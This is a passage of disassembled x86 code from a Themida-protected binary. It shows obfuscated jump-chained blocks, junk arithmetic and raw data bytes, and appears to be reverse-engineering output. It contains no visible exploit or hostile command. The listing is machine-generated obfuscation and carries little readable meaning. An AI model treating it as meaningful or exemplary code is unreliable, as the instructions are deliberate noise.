		dd 0F90EE95Ch, 0D3B8FFFFh, 0E919CD5Fh, 0FFFF7D2Dh, 5C241C87h
		dd 44BBBF57h, 0F801224Dh, 83243C8Bh, 0F80104C4h, 5C01BE56h
		dd 0C146259Bh, 575604EEh, 4FE4E95Eh, 24890000h,	24048124h
		dd 4, 8B2434FFh, 0C483243Ch, 48A46804h,	4890000h, 933AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557882:				; CODE XREF: Themida_:0054E5CFj
		xor	eax, ebx
		pop	ebx
		sub	ebp, eax
		pop	eax
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	2B6Ch
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		push	esi
		push	3923h
		mov	[esp], esp
		jmp	loc_55DE66
; ---------------------------------------------------------------------------


loc_5578B3:				; CODE XREF: Themida_:00554C58j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 42141DC5h
		neg	esi
		neg	esi
		jmp	loc_5613B8
; ---------------------------------------------------------------------------
		db 68h
		dd 7BD2h, 54241489h, 4C2815Ah, 68000000h, 2115h, 0FFEE92E9h
		dd 242C89FFh, 8469E9h, 40478F00h, 0FF64D4E9h, 0EE815BFFh
		dd 78725E4h, 11ECEE81h,	0C6010B1Ah, 8310E9h, 3CC56800h
		dd 14890000h, 2E98BA24h, 54E9487Dh, 68FFFFA7h, 671DF9DEh
		dd 92EA8159h, 177E251h,	92C281CAh, 5977E251h, 148BD389h
		dd 4C48324h, 1C8BDA01h,	0E1895124h, 4BF57h, 0F9010000h
		dd 4C1815Fh, 51000000h,	42474FFh, 24048F59h, 74FF525Ch
		dd 148B0424h, 4C48324h,	0FF9AE6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557965:				; CODE XREF: Themida_:00561531j
		mov	ebx, esi
		pop	esi
		jmp	loc_55B093
; ---------------------------------------------------------------------------


loc_55796D:				; CODE XREF: Themida_:0055A0E0j
		or	ecx, ebp
		pop	ebp
		push	9E9h
		mov	[esp], ebx
		mov	ebx, 1DF5116Eh
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_558A37
; ---------------------------------------------------------------------------
aSGh		db 'S³GhÅ',0Dh,0
		align 10h
		dd 0E9241C89h, 0FFFFE7EBh, 15AD189h, 5904244Ch,	468505Bh
		dd 8B000000h, 0C4832404h, 7707E904h, 4BBFFFFh, 1000000h
		dd 0C7835BDFh, 0BF8CE904h, 4BBFFFFh, 1000000h, 0E904245Ch
		dd 162Fh
; ---------------------------------------------------------------------------


loc_5579D0:				; CODE XREF: Themida_:00552218j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		push	edx
		mov	edx, 3CD94008h
		mov	ebx, edx
		pop	edx
		neg	ebx
		and	ebx, 2F427331h
		shl	ebx, 3
		push	edx
		mov	edx, 5535465h
		or	ebx, edx
		pop	edx
		add	ebx, 0E2AC221Fh
		jmp	loc_554D8F
; ---------------------------------------------------------------------------
		dd 4246C01h, 5D2434FFh,	8B04C483h, 89512414h, 4C181E1h
		dd 83000000h, 2CE904C1h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557A37:				; CODE XREF: Themida_:00558422j
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_55267A
; ---------------------------------------------------------------------------
		dd 51C8BF0Fh, 0BE56E189h, 4, 0CD9E9h, 0B9C28100h, 0E94D903Ch
		dd 0FFFF6369h
; ---------------------------------------------------------------------------


loc_557A5C:				; CODE XREF: Themida_:0054E413j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esi
		mov	esi, 4
		sub	eax, esi
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5592F9
; ---------------------------------------------------------------------------


loc_557A83:				; CODE XREF: Themida_:0055C05Fj
		sub	ebp, 48E54E14h
		sub	ebp, 41C442FDh
		pop	ebx
		jmp	loc_560FF7
; ---------------------------------------------------------------------------
aYhd9		db 'YhD9',0
		dw 8900h
		dd 0DD68241Ch, 8900006Dh, 4812424h, 424h, 9392E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557AB2:				; CODE XREF: Themida_:005596CCj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54EE2D
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 4BB53h, 0DF010000h, 0A109E95Bh, 0E950FFFFh, 0FFFF6576h
; ---------------------------------------------------------------------------


loc_557AD8:				; CODE XREF: Themida_:0055BDA2j
		add	edx, 4
		push	ebp
		mov	ebp, 5EB147C5h
		xor	ebp, 576300B7h
		add	ebp, 0F62DB892h
		sub	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_55F7C8
; ---------------------------------------------------------------------------


loc_557B06:				; CODE XREF: Themida_:0056171Cj
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_55381B
; ---------------------------------------------------------------------------
		db 80h,	0C2h, 0D4h
		dd 8B13E950h, 38050000h, 1674B5Ah, 0FEE957E8h, 68FFFF91h
		dd 387h, 0FF240489h, 34FF2434h,	1C07E924h, 34FF0000h, 0C4835824h
		dd 24048F04h, 6624248Bh, 2404B30Fh, 6267E99Ch, 0F681FFFFh
		dd 63150206h, 0B4A7C681h, 0EA81AC7Bh, 2FB001B4h, 0C281F201h
		dd 2FB001B4h, 10B8505Eh, 35370571h, 37057114h, 8758C201h
		dd 295C2414h, 68042454h, 7BE1h,	0E9243489h, 2382h, 79B95159h
		dd 0E96AAA2Eh, 95BFh
; ---------------------------------------------------------------------------


loc_557BA8:				; CODE XREF: Themida_:00560895j
		add	dword ptr [esp+4], 17150733h
		add	[esp+4], edi
		sub	dword ptr [esp+4], 17150733h
		jmp	loc_55991D
; ---------------------------------------------------------------------------
		db 81h,	44h, 24h
		dd 73042604h, 4815D25h,	427AD424h, 24040153h, 7AD4BB53h
		dd 5C295342h, 685B0424h, 2B85h,	0BA241489h, 108C2637h
		dd 4244481h, 5B9A2569h,	0C0A68h, 24148900h, 0A97111BAh
		dd 9485E960h, 5346FFFFh, 0FFF9D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557C0D:				; CODE XREF: Themida_:00560DE0j
		mov	esi, 4
		add	ebx, 1F9B3644h
		sub	ebx, 5F070B0Dh
		jmp	loc_560808
; ---------------------------------------------------------------------------
		db 52h
		dd 2C8E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557C2A:				; CODE XREF: Themida_:0055AFAAj
		add	esi, 539B0D64h
		jmp	loc_556C5D
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 93h
		dd 0E9407E13h, 0FFFFD426h
; ---------------------------------------------------------------------------


loc_557C40:				; CODE XREF: Themida_:0054E44Bj
		add	[esp+4], ebx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 68330F44h
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		pop	edx
		sub	[edi+24h], eax
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp


loc_557C76:				; CODE XREF: Themida_:00554F7Aj
		push	6D5Ah
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55BD12
; ---------------------------------------------------------------------------


loc_557C8E:				; CODE XREF: Themida_:0054E3D9j
		add	ebp, 612F2F00h
		pop	edi
		xchg	ebp, [esp]
		jmp	loc_554665
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 68000000h, 2778h, 0FF241489h, 0FF042474h, 505A2434h
		dd 0A0E9E089h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557CBB:				; CODE XREF: Themida_:00550C86j
		add	al, ch
		add	al, 0A1h
		jmp	loc_55A23A
; ---------------------------------------------------------------------------


loc_557CC4:				; CODE XREF: Themida_:005571F0j
		push	edi
		mov	edi, 0E420A79h
		not	edi
		jmp	loc_54DED3
; ---------------------------------------------------------------------------


loc_557CD1:				; CODE XREF: Themida_:0056292Dj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_55C252
; ---------------------------------------------------------------------------


loc_557CE0:				; CODE XREF: Themida_:00557028j
		push	edi
		push	4
		pop	edi
		jmp	loc_556008
; ---------------------------------------------------------------------------
		dd 22E9E589h, 87FFFFE8h, 335C2414h, 2C31242Ch, 242C3324h
		dd 5324248Bh, 0C381E389h, 4, 5304EB83h,	9FCDE9h, 0D9CB8100h
		dd 0E9165D17h, 0FFFFCD56h, 0C0FE3CB0h, 4624D8F6h, 3404E634h
		dd 0B32E9h, 48F5900h, 69ACE924h, 0FF66FFFFh, 6083E932h
		dd 248BFFFFh, 6BD76824h, 4890000h, 43CC6824h, 24890000h
		dd 24048324h, 2434FF04h, 0FFE048E9h, 0DCF65AFFh, 0F6B75366h
		dd 68C480h, 68EC80FCh, 0F4805B66h, 4EC812Ch, 89000000h
		dd 0E2882414h, 8B5AD788h, 94E92404h, 8900006Eh,	2434FFF0h
		dd 7DB6E9h, 0D831AD00h,	2FE568h, 0E0FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557DA2:				; CODE XREF: Themida_:00554ADDj
		mov	esi, 6E5767B7h
		shr	esi, 4
		xor	esi, 6E5767Fh
		add	ecx, esi
		pop	esi
		jmp	loc_54FC4D
; ---------------------------------------------------------------------------
		dd 503E8C1h, 6E7DED87h,	8158C189h, 837553C9h, 5E1814Eh
		dd 5301E57Fh, 5F1A4568h, 0EB815B74h, 5818EBFFh,	815BD909h
		dd 506A04C1h, 2AC78105h, 297D254Ah, 2AEF81CFh, 0E97D254Ah
		dd 64DCh, 23056B05h, 58C689B8h,	0FFEF09E9h, 4EC83FFh, 0E9241489h
		dd 47D3h, 89240C89h, 94E952E1h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E1B:				; CODE XREF: Themida_:0055FF5Cj
		sub	ebx, 145E0A65h
		sub	ebx, 1
		jmp	loc_54F462
; ---------------------------------------------------------------------------
		dd 8B66C200h, 0C4812404h, 2, 0DBEB80h, 1411E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557E42:				; CODE XREF: Themida_:00554C3Aj
		push	ebp
		jmp	loc_5553EE
; ---------------------------------------------------------------------------
		dd 2434FF54h, 0E924148Bh, 0FFFFEC1Fh, 8704C583h, 815C242Ch
		dd 4C4h, 8BF83100h, 8951243Ch, 4C181E1h, 81000000h, 4C1h
		dd 0CE25E900h, 1FBFFFFFh, 8941C45Ch, 2434FFFAh,	9883E9h
		db 0
; ---------------------------------------------------------------------------


loc_557E89:				; CODE XREF: Themida_:00558690j
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_551882
; ---------------------------------------------------------------------------


loc_557E9D:				; CODE XREF: Themida_:00557FF9j
		xor	eax, ebp
		pop	ebp
		push	eax
		pop	ebp
		pop	eax
		add	ebp, 0FFFFFFFFh
		jmp	loc_55D377
; ---------------------------------------------------------------------------


loc_557EAB:				; CODE XREF: Themida_:0055BCE9j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_560D69
; ---------------------------------------------------------------------------


loc_557EB9:				; CODE XREF: Themida_:005596F5j
		pop	ebx
		jmp	loc_556444
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 815F0000h, 4C7h, 4C78100h, 33000000h, 0E9E9243Ch
		dd 59FFFF7Ch, 4EC81h, 7CE90000h, 81FFFFBAh, 902F37C5h
		dd 7594E95Bh, 515A0000h, 70C7B850h, 480558B2h, 57CE260h
		dd 21647DC6h, 6B12F05h,	58C18909h, 8FE9CA01h, 51FFFF9Ch
		dd 0E464BBB9h, 0BFF18142h, 8942E464h, 99E959C8h, 6600004Ch
		dd 57241C8Bh, 0C7815F54h, 4, 2C781h, 3C870000h,	0E9805C24h
		dd 76E9804Fh, 0EC81C128h, 4, 2F40E9h
		db 0
; ---------------------------------------------------------------------------


loc_557F51:				; CODE XREF: Themida_:0054E597j
		xor	edx, [esp]
		mov	esp, [esp]
		shr	eax, 0Eh
		jmp	loc_54ED53
; ---------------------------------------------------------------------------
		db 2Dh
		dd 25B683Eh, 12Dh, 0FE4AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557F6E:				; CODE XREF: Themida_:00551F15j
		sub	ebx, (offset aDaf+2)
		sub	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_555A96
; ---------------------------------------------------------------------------
		db 81h
		dd 9D3BC5C2h, 7CC28149h, 2928D64Bh, 7CEA81F2h, 0E928D64Bh
		dd 140Eh, 0D37A52B8h, 0C5BD5543h, 0E90A7777h, 0FFFFD769h
; ---------------------------------------------------------------------------


loc_557FB0:				; CODE XREF: Themida_:005597E3j
		push	1B963D3Dh
		pop	eax
		jmp	loc_555D74
; ---------------------------------------------------------------------------


loc_557FBB:				; CODE XREF: Themida_:0055A3A5j
		sub	edi, 79E7DCC2h
		add	ebx, edi
		pop	edi
		push	3A77h
		mov	[esp], ebp
		mov	ebp, ebx
		mov	esi, ebp
		pop	ebp
		pop	ebx
		and	eax, esi
		jmp	loc_5620A9
; ---------------------------------------------------------------------------


loc_557FD9:				; CODE XREF: Themida_:00551498j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55893B
; ---------------------------------------------------------------------------
		dd 0E987D5F7h, 0FFEB8BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557FED:				; CODE XREF: Themida_:00562345j
		xor	ebp, 39E70A6h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_557E9D
; ---------------------------------------------------------------------------


loc_557FFE:				; CODE XREF: Themida_:00558E2Ej
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_55A364
; ---------------------------------------------------------------------------
		db 87h
		dd 835C2404h, 0EC8104C4h, 4, 0FFC001E9h, 5DEB29FFh, 5C241C87h
		dd 240C8966h, 0EA884DB5h, 240C8B66h, 4B6DE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558046:				; CODE XREF: Themida_:0055AE09j
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_555CF8
; ---------------------------------------------------------------------------


loc_558064:				; CODE XREF: Themida_:0055408Dj
		push	edi
		mov	edi, esp
		jmp	loc_55634F
; ---------------------------------------------------------------------------


loc_55806C:				; CODE XREF: Themida_:005543B8j
		push	ecx
		push	esi
		mov	esi, 0A873897h
		jmp	loc_55D2CC
; ---------------------------------------------------------------------------


loc_558078:				; CODE XREF: Themida_:00553742j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	ebx
		add	ebx, 4
		push	4719h
		mov	[esp], ebp
		push	ebx
		push	53F479E6h
		pop	ebx
		xor	ebx, 2AC2A05h
		push	eax
		jmp	loc_561420
; ---------------------------------------------------------------------------


loc_5580A4:				; CODE XREF: Themida_:00556402j
		pop	edx
		add	edx, 4
		push	ebp
		jmp	loc_5565D1
; ---------------------------------------------------------------------------


loc_5580B1:				; CODE XREF: Themida_:00560B4Aj
		xor	edx, 7D7B0F37h
		shr	edx, 6
		neg	edx
		sub	edx, 1
		jmp	loc_54E689
; ---------------------------------------------------------------------------
		dd 0E7C1D7F7h, 9B47E907h, 483FFFFh, 48F0424h, 24048124h
		dd 4, 5D2434FFh, 6071E9h, 58C78800h, 75E9535Ah,	0FE00004Dh
		dd 0C1B252C5h, 8079B753h, 0EFC045F7h, 6EF8003h,	0FE20B753h
		dd 63C780C7h, 0DFF6DFF6h, 0E9CEEF80h, 0A150h, 140CB5B9h
		dd 0E9CF2912h, 6D41h, 0E8386ABFh, 94B6863h, 2C890000h
		dd 52FDBD24h, 0EDC1682Dh, 70F58104h, 8172BE22h,	36E155F5h
		dd 5DEF3124h, 0E781DFF7h, 56071EFEh, 0B850EFD1h, 7D396BAFh
		dd 0D8F7D0F7h, 0E056800Dh, 4E8C14Fh, 0A0CF42Dh,	9784E97Ah
		dd 1C87FFFFh, 8F545C24h, 0BD552404h, 4,	4246C01h, 0BCE95A5Dh
		dd 5AFFFF90h, 0B9CBE56h, 0EE815E50h, 567936D1h,	8196E9h
		dd 81E68900h, 4C6h, 4C68100h, 87000000h, 15C2434h, 0A5B9E9FEh
		dd 0D6680000h, 8900007Ah, 19B9240Ch, 8940F974h,	7C58E9CDh
		dd 0ED81FFFFh, 116D0B27h, 885CE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5581CE:				; CODE XREF: Themida_:0055038Dj
		pop	edx
		push	eax
		push	esi
		push	edx
		jmp	loc_555728
; ---------------------------------------------------------------------------
		db 31h
		dd 2434FFDEh, 0FFC113E9h, 4BEFFh, 5C2D0000h, 103AB53h
		dd 711EE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5581F2:				; CODE XREF: Themida_:0055A384j
		push	eax
		mov	eax, 0C896F77h
		inc	eax
		sub	eax, 709605B5h
		xor	eax, 8441553h
		xor	eax, 0C29D1BEBh
		sub	ebx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5595E4
; ---------------------------------------------------------------------------


loc_558213:				; CODE XREF: Themida_:00554EB6j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_5502CA
; ---------------------------------------------------------------------------


loc_558229:				; CODE XREF: Themida_:0054DED9j
		add	ebp, 446C26A8h
		sub	ebp, edi
		sub	ebp, 446C26A8h
		pop	edi
		dec	ebp
		not	ebp
		add	ebp, 49CD556Ah
		push	esi
		mov	esi, ebp
		jmp	loc_55921E
; ---------------------------------------------------------------------------
		db 68h,	56h, 12h
aIxsa		db '‰XéA#',0
		db 0
; ---------------------------------------------------------------------------


loc_558253:				; CODE XREF: Themida_:00557440j
		not	edi
		sub	edi, 0ACFEA7Fh
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 1
		shr	ebx, 5
		xor	ebx, edx
		xor	edx, ebx
		xor	ebx, edx
		not	edx
		xchg	edx, ebx
		neg	ebx
		shr	ebx, 1
		push	ecx
		mov	ecx, 0D188C0h
		xor	ebx, ecx
		jmp	loc_55870D
; ---------------------------------------------------------------------------


loc_558287:				; CODE XREF: Themida_:00551B49j
		push	5AC2h
		jmp	loc_55A7BC
; ---------------------------------------------------------------------------
		db 1, 6Ch, 24h
		dd 0F927E904h, 1C8BFFFFh, 2E656824h, 4890000h, 5585424h
		dd 4, 0E904C083h, 5C5Ch, 0FF241489h, 0FF042474h, 835A2434h
		dd 48F04C4h, 0CFE5C24h,	62E99C24h, 5200009Bh, 396068h
		dd 241C8900h, 241C8B54h, 8104C483h, 4C3h, 6BE5600h, 817F6533h
		dd 9ACCFEC6h, 5EF32980h, 31241C33h, 1C33241Ch, 8F545C24h
		dd 4832404h, 815A0424h,	4C2h, 0F98BE900h, 148BFFFFh, 4C48124h
		dd 33000000h, 0C31240Ch, 240C3324h, 0C8B665Ch
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	3736h
		mov	[esp], esi
		jmp	loc_55CC3B
; ---------------------------------------------------------------------------


loc_558339:				; CODE XREF: Themida_:0055A5DFj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		push	5FE3h
		jmp	loc_556AFB
; ---------------------------------------------------------------------------
aIS		db ')ë]éÄ',0Dh,0
		align 4
		dd 0B057E1B8h, 58C78916h, 0FFAFB3E9h, 4C481FFh,	81000000h
		dd 4C6h, 6805E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558376:				; CODE XREF: Themida_:005537C6j
		push	edx
		mov	edx, 0D60C9BBEh
		sub	edi, edx
		jmp	loc_5593B9
; ---------------------------------------------------------------------------


loc_558383:				; CODE XREF: Themida_:00556C94j
		pop	esp
		mov	[esp], ebp
		jmp	loc_562228
; ---------------------------------------------------------------------------


loc_55838C:				; CODE XREF: Themida_:00554308j
		pop	edi
		push	6073h
		jmp	loc_55FA33
; ---------------------------------------------------------------------------
		db 83h
		dd 68FFEFh, 0E9000000h,	350Fh, 24048F58h, 0D3C0E95Ch, 0E789FFFFh
		dd 4C781h, 6BE90000h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5583BB:				; CODE XREF: Themida_:0054E4DBj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4


loc_5583C2:				; CODE XREF: Themida_:00556D95j
		push	697Dh
		mov	[esp], ebx
		push	29DFh
		mov	[esp], ebp
		mov	ebp, 2D6C4581h
		xor	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55EAB8
; ---------------------------------------------------------------------------
		dw 2DADh
		dd 104A509Fh, 167CB32Dh, 2691E91Fh, 0C3890000h,	2DD7E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5583FE:				; CODE XREF: Themida_:0055A04Dj
		push	6F4Fh
		mov	[esp], esi
		pop	dword ptr [edx]
		pop	esi
		mov	edx, [esp]
		jmp	loc_54E3F5
; ---------------------------------------------------------------------------


loc_558411:				; CODE XREF: Themida_:0055E427j
		mov	[esp], ebp
		push	6388191Ch
		pop	ebp
		jmp	loc_560450
; ---------------------------------------------------------------------------


loc_55841F:				; CODE XREF: Themida_:005600AAj
		push	dword ptr [esp]
		jmp	loc_557A37
; ---------------------------------------------------------------------------
		db 81h
		dd 0C805FDE1h, 0C1814146h, 979FED3Ch, 8159CF29h, 5D3EAh
		dd 81FA0156h, 5D3C2h, 243C8B56h, 81E28952h, 4C2h, 0AD19E900h
		dd 0FA01FFFFh, 8F7FE9h,	24048B00h, 0A032E9h, 565E5400h
		dd 0C681E689h, 4, 0E904EE83h, 58EFh, 59E9815Bh,	89399A5Bh
		dd 0E80159CDh, 3A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_558489:				; CODE XREF: Themida_:0055A097j
		sub	cl, dh
		mov	edx, [esp]
		jmp	loc_55DF45
; ---------------------------------------------------------------------------
		db 58h
		dd 0DB2AE951h, 148BFFFFh, 5E545624h, 1EA268h, 240C8900h
		dd 59B968h, 243C8900h, 0A2081668h, 243C8B21h, 4C481h, 0D7F70000h
		dd 11BAE9h, 24248B00h, 0B9240C89h, 303B2B60h, 0FF5C94E9h
		dd 240489FFh, 466FFBB8h, 9007B966h, 0C10199B9h,	582434FFh
		dd 8104C483h, 70106C6h,	0E9CE0148h, 21ACh, 8159CB29h, 0BD5DC6C3h
		dd 0CEFAE907h, 0EE88FFFFh, 83240C8Bh, 0EE8004C4h, 5AF028DEh
		dd 8904EC83h, 0ADE9241Ch, 0FFFFFF68h, 81582434h, 4C4h
		dd 24148B00h, 4C481h, 0EC810000h, 4, 53240489h,	0FBE93EB7h
		dd 81FFFFAAh, 0EF5ACFCAh, 5C2814Fh, 1901081h, 0C1815AD1h
		dd 4, 0E9240C87h, 0FFFFD549h, 28B6664h,	73B36866h, 24048966h
		dd 0FF5854E9h, 244481FFh, 0E03B1C04h, 245C010Dh, 1CBF5704h
		dd 290DE03Bh, 5F08247Ch, 0FFACBEE9h, 0BAFFh, 0DA010000h
		dd 34FF0288h, 20E95A24h, 29000086h, 0A7E95AD5h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5585A7:				; CODE XREF: Themida_:0054FE15j
		pop	edx
		push	edi
		mov	edi, 1B4189Fh
		sub	edi, 1B4189Bh
		push	esi
		mov	esi, 36037176h
		inc	esi
		and	esi, 30FA5670h
		shl	esi, 3
		add	esi, 0E449B830h
		sub	edx, esi
		pop	esi
		add	edx, edi
		add	edx, 645C3BB0h
		pop	edi
		push	eax
		jmp	loc_5554CA
; ---------------------------------------------------------------------------
aASpP0xx	db '€ÅsP´p0åX',0
aSyai8sq	db 'èY€ë8éŸ-',0
		align 10h
		unicode	0, <¿>,0
		dd 0FFFA8900h, 835F2434h, 75E904C4h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558603:				; CODE XREF: Themida_:0054FDD6j
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 4D2F0179h
		push	6361CE4h
		jmp	loc_560A1A
; ---------------------------------------------------------------------------


loc_55861C:				; CODE XREF: Themida_:005500C5j
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	622h
		mov	[esp], esi
		jmp	loc_55253F
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFF7EC6h, 531FBB53h, 0D3F7544Ch, 0E905E3C1h
		dd 374Fh, 4EC815Fh, 89000000h, 0DBD242Ch, 0C12FB670h, 0CD8102EDh
		dd 2C3B340Ch, 43F5C581h, 0EA81D000h, 34AC26FBh,	0C281EA29h
		dd 34AC26FBh, 98E8E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55868A:				; CODE XREF: Themida_:0054F352j
		pop	eax
		add	eax, 4
		jmp	loc_557E89
; ---------------------------------------------------------------------------


loc_558695:				; CODE XREF: Themida_:0055CFDDj
		pop	edi
		sub	[esp+4], ebp
		jmp	loc_54EA62
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0E99C241Ch, 0FFFFE7E9h, 8324048Bh, 2C8B04C4h, 4C48124h
		dd 68000000h, 2084h, 68241489h,	736Bh, 0E9243489h, 246Dh
		dd 0F587D6F7h, 5086E9h,	0E5E95A00h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5586DB:				; CODE XREF: Themida_:00550E6Aj
		xchg	edx, [esp]
		pop	esp
		xor	ebx, edx
		jmp	loc_55B9D4
; ---------------------------------------------------------------------------
		dw 65B4h
		dd 53A4CC80h, 99E93AB7h, 5DFFFF9Bh, 65F0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5586F9:				; CODE XREF: Themida_:0054E9FDj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55FE69
; ---------------------------------------------------------------------------


loc_55870D:				; CODE XREF: Themida_:00558282j
		pop	ecx
		add	ebp, ebx
		push	dword ptr [esp]
		jmp	loc_55D60A
; ---------------------------------------------------------------------------
		dd 0A1EA20Dh, 0FBF572Eh, 92A237Eh, 2565E9F8h, 0F1010000h
		dd 8124348Bh, 4C4h, 4BF5700h, 53000000h, 339EE9h
		db 0
; ---------------------------------------------------------------------------


loc_558741:				; CODE XREF: Themida_:00555CDCj
		mov	edi, [esp]
		add	esp, 4
		add	edx, 9E9A51h
		jmp	loc_553C1E
; ---------------------------------------------------------------------------
aN1Qsk		db '­1ØQéŠ=',0
		db 0
; ---------------------------------------------------------------------------


loc_55875B:				; CODE XREF: Themida_:0055CB24j
		shl	ebx, 3
		sub	ebx, 47346BBh
		dec	ebx
		xor	ebx, 25E42313h
		add	ebx, 0E2FC269Bh
		xor	edi, ebx
		pop	ebx
		and	ebp, edi
		pop	edi
		push	edi
		mov	edi, 79647FE7h
		xor	edi, 7B47730Bh
		shl	edi, 7
		sub	edi, 51733EFFh
		dec	edi
		push	eax
		jmp	loc_55B16F
; ---------------------------------------------------------------------------
		db 89h
		dd 0B951243Ch, 6EC51D18h, 41E9E987h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5587A3:				; CODE XREF: Themida_:0055F7F6j
		push	ebp
		push	edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5608DC
; ---------------------------------------------------------------------------
		db 0FFh
		dd 348B2434h, 6AC7E924h, 0E835FFFFh, 8965DC56h,	0CDFCE9C7h
		dd 0E95CFFFFh, 0F72h, 57D3F75Bh, 0F75ADABFh, 5FFB210Fh
		dd 0FFD13BE9h, 0BAD2DFFh, 0C10902B3h, 55C18158h, 0E922021Ah
		dd 0FFFFFD04h
; ---------------------------------------------------------------------------


loc_5587F4:				; CODE XREF: Themida_:0055FB6Fj
		push	4274h
		mov	[esp], ebx
		push	0D076EB25h
		mov	ebx, [esp]
		add	esp, 4
		xor	esi, ebx
		pop	ebx
		add	ebx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_5624CF
; ---------------------------------------------------------------------------
		db 0B5h
		dd 59E8006Dh, 0EC81D828h, 4, 81241C89h,	4ECh, 0DA4EE900h
		dd 505DFFFFh, 42474FFh,	24048F58h, 4EC815Ch, 89000000h
		dd 0EBB9240Ch, 0E955AB60h, 244Bh, 242C895Ch, 0D2E9C589h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55885B:				; CODE XREF: Themida_:00552501j
		push	dword ptr [esp]
		jmp	loc_55517D
; ---------------------------------------------------------------------------
		db 2Ch
		dd 37E95151h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55886B:				; CODE XREF: Themida_:0054E3C7j
		mov	ch, 0D8h
		jmp	loc_552CC6
; ---------------------------------------------------------------------------


loc_558872:				; CODE XREF: Themida_:0056099Fj
